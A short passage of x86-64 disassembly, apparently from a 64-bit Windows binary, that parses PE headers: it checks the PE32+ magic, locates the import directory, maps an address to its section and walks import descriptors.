je 0x140002730
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002722
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002722
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002722
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002785
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002798
add rdx, 0x28
cmp r10, rdx
jne 0x140002770
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400027a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400027b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000278e
test ecx, ecx
jg 0x1400027a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret